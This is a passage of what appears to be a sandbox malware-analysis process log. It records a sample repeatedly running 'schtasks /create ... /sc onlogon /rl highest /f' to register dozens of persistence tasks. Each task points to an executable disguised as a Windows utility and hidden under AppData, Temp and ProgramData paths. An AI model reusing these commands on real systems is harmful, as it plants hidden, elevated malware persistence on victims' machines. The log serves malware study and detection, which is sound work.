    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12388
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iscsicpl_30" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13244
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iscsicpl_30" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10464
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ResizeUpdate_31" /tr ""C:\Users\Admin\AppData\Roaming\ConnectRestore\UpdateCache\ResizeUpdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ResizeUpdate_31" /tr ""C:\Users\Admin\AppData\Roaming\ConnectRestore\UpdateCache\ResizeUpdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4984
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xwizard_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\xwizard.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11792
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xwizard_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\xwizard.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14696
- C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\tzutil.exe
  "C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\tzutil.exe" --watchdog-slave
  2⤵
  PID:7136
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_winrshost_1" /tr ""C:\Users\Admin\AppData\Roaming\BackupClear\Logs\UpdateCache\winrshost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_winrshost_1" /tr ""C:\Users\Admin\AppData\Roaming\BackupClear\Logs\UpdateCache\winrshost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xwizard_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\xwizard.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:932
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xwizard_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\xwizard.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4112
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12788
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\mfpmp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4432
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12844
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_5" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7884
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_5" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_takeown_6" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\UpdateCache\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_takeown_6" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\UpdateCache\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12956
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_7" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4860
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_7" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13576
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_compact_8" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\compact.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3340
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_compact_8" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\compact.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13468
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8440
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iscsicpl_10" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iscsicpl_10" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_11" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\UpdateCache\UpdateCache\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedit_11" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\UpdateCache\UpdateCache\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Fondue_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\Fondue.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Fondue_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\Fondue.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_typeperf_13" /tr ""C:\ProgramData\MicrosoftService\typeperf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10324
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_typeperf_13" /tr ""C:\ProgramData\MicrosoftService\typeperf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8844
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4188
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8884
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesRemote_15" /tr ""C:\Users\Admin\AppData\Local\Temp\2376855658\Logs\UpdateCache\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesRemote_15" /tr ""C:\Users\Admin\AppData\Local\Temp\2376855658\Logs\UpdateCache\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_subst_16" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\UpdateCache\UpdateCache\subst.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10168
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_subst_16" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\UpdateCache\UpdateCache\subst.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_whoami_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\whoami.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10960
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_whoami_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\whoami.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_18" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3208
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_18" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14308
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11196
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12284
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RunLegacyCPLElevated_21" /tr ""C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\UpdateCache\UpdateCache\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9444
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RunLegacyCPLElevated_21" /tr ""C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\UpdateCache\UpdateCache\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13140
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iscsicpl_22" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3292
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iscsicpl_22" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8376
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_verclsid_23" /tr ""C:\ProgramData\MicrosoftService\verclsid.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_verclsid_23" /tr ""C:\ProgramData\MicrosoftService\verclsid.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6592
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6552
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iscsicpl_25" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12600
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iscsicpl_25" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5344
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_AssertMerge_26" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\UpdateCache\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_AssertMerge_26" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\UpdateCache\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9424
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sudo_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\sudo.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5436
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sudo_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\sudo.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systray_28" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\systray.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2352
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systray_28" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\systray.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6708
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchTM_30" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\LaunchTM.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_LaunchTM_30" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\LaunchTM.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12368
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ReceiveCheckpoint_31" /tr ""C:\Users\Admin\AppData\Roaming\GetConvertTo\UpdateCache\ReceiveCheckpoint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14060
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ReceiveCheckpoint_31" /tr ""C:\Users\Admin\AppData\Roaming\GetConvertTo\UpdateCache\ReceiveCheckpoint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6780
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ktmutil_32" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7508
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ktmutil_32" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\ktmutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4356
- C:\Users\Admin\AppData\Roaming\BackupClear\Logs\UpdateCache\winrshost.exe
  "C:\Users\Admin\AppData\Roaming\BackupClear\Logs\UpdateCache\winrshost.exe" --watchdog-slave
  2⤵
  PID:11036
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hh_1" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2868
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_hh_1" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12508
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1752
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12580
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fc_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15340
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_autochk_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\autochk.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8348
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_autochk_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\autochk.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13436
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_6" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7556
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_6" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13496
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchTM_7" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\LaunchTM.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_LaunchTM_7" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\LaunchTM.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmstp_8" /tr ""C:\ProgramData\MicrosoftService\cmstp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11428
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cmstp_8" /tr ""C:\ProgramData\MicrosoftService\cmstp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3384
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6288
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10568
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4388
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_takeown_11" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\UpdateCache\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13440
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_takeown_11" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\UpdateCache\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_13" /tr ""C:\ProgramData\MicrosoftService\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9740
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_13" /tr ""C:\ProgramData\MicrosoftService\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6316
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14416
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_15" /tr ""C:\Users\Admin\AppData\Local\Temp\{45447235-15B8-4571-A2AB-5C8F754C1886}\Logs\UpdateCache\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_lodctr_15" /tr ""C:\Users\Admin\AppData\Local\Temp\{45447235-15B8-4571-A2AB-5C8F754C1886}\Logs\UpdateCache\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15260
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hh_16" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14604
- - C:\Windows\SysWOW64\schtasks.exe
